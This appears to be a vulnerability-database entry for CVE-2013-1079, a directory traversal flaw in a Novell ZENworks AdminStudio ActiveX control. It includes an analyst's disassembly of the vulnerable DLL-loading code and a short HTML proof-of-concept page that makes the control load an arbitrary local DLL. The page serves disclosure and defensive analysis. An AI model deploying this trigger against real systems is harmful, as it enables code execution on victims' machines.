Attacker Value

Unknown

Novell ZENworks Admin Studio ISProxy Vulnerability

Attacker Value

Unknown

(1 user assessed)

Exploitability

Unknown

(1 user assessed)

User Interaction

Unknown

Privileges Required

Unknown

Attack Vector

Unknown

Novell ZENworks Admin Studio ISProxy Vulnerability

Disclosure Date: March 29, 2013 •

CVE-2013-1079

MITRE ATT&CK

Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Description

Directory traversal vulnerability in the ISCreateObject method in an ActiveX control in InstallShield\ISProxy.dll in AdminStudio in Novell ZENworks Configuration Management (ZCM) 10.3 through 11.2 allows remote attackers to execute arbitrary local DLL files via a crafted web page that also calls the Initialize method.

Add Assessment

wchen-r7 (173)

September 12, 2019 6:07pm UTC (5 years ago)•Edited 5 years ago

Technical Analysis

The specific flaw exists within the ISProxy.dll ActiveX object. The ISCreateObject() method suffers from a directory vulnerability and it is also possible to break the search path through a null char. By combining the Initialize() and ISCreateObject() methods, an attacker can force the underlying operating system to load arbitrary dlls bypassing normal security restriction. This vulnerability allows an attacker to execute code under the context of the process.

(1) Legit Code Samples

var file = new ActiveXObject("ISProxy.Proxy");
file.ISCreateObject(document, "isutil.dll", "{A5CF09AF-F2FC-4E5D-9F7D-419D28130E62}");

var objMgr = new ActiveXObject("ISProxy.Proxy");
objMgr.ISCreateObject(document, "isobjmgr.dll", "{DE5FBA5D-8AB0-4a53-B620-F2065702D228}");

Vulnerable code

Form ISProxy.dll

.text:63371561                 push    eax             ; lpPathName => C:\Documents and Settings\system
.text:63371562                 call    esi ; SetCurrentDirectoryA
.text:63371564                 lea     ecx, [ebp+var_38]
.text:63371567                 mov     byte ptr [ebp+var_4], 2
.text:6337156B                 call    sub_6337186D
.text:63371570                 lea     ecx, [ebp+var_68]
.text:63371573                 call    sub_63372927
.text:63371578                 push    eax             ; lpLibFileName => Controlled from the second arg
.text:63371579                 call    ds:LoadLibraryA
.text:6337157F                 mov     edi, eax
.text:63371581                 lea     eax, [ebp+PathName]
.text:63371587                 push    eax             ; lpPathName
.text:63371588                 call    esi ; SetCurrentDirectoryA

Trigger

The next HTML will try to load c:\test.dll

<html>
<object classid='clsid:A1000F0F-9C12-4AB3-B195-02BE93328283' id='test'></object>
<script language='javascript'>
test.Initialize(document);
test.ISCreateObject(document, "..\\..\\test.dll", "A1000F0F-9C12-4AB3-B195-02BE93328283");
</script>
</html>

So the vulnerability, as explained by the ZDI advisory allows to load an arbitrary DLL from the underliying OS, but I dont see how to load it from an arbitrary remote location.

So in order to achieve remote code execution you need to plant a DLL previously in the targeted file system.

CVSS V3 Severity and Metrics

Data provided by the National Vulnerability Database (NVD)

Base Score:

None

Impact Score:

Unknown

Exploitability Score:

Unknown

Vector:

Unknown

Attack Vector (AV):

Unknown

Attack Complexity (AC):

Unknown

Privileges Required (PR):

Unknown

User Interaction (UI):

Unknown

Scope (S):

Unknown

Confidentiality (C):

Unknown

Integrity (I):

Unknown

Availability (A):

Unknown

Vendors

novell

Products

References

Rapid7

Unknown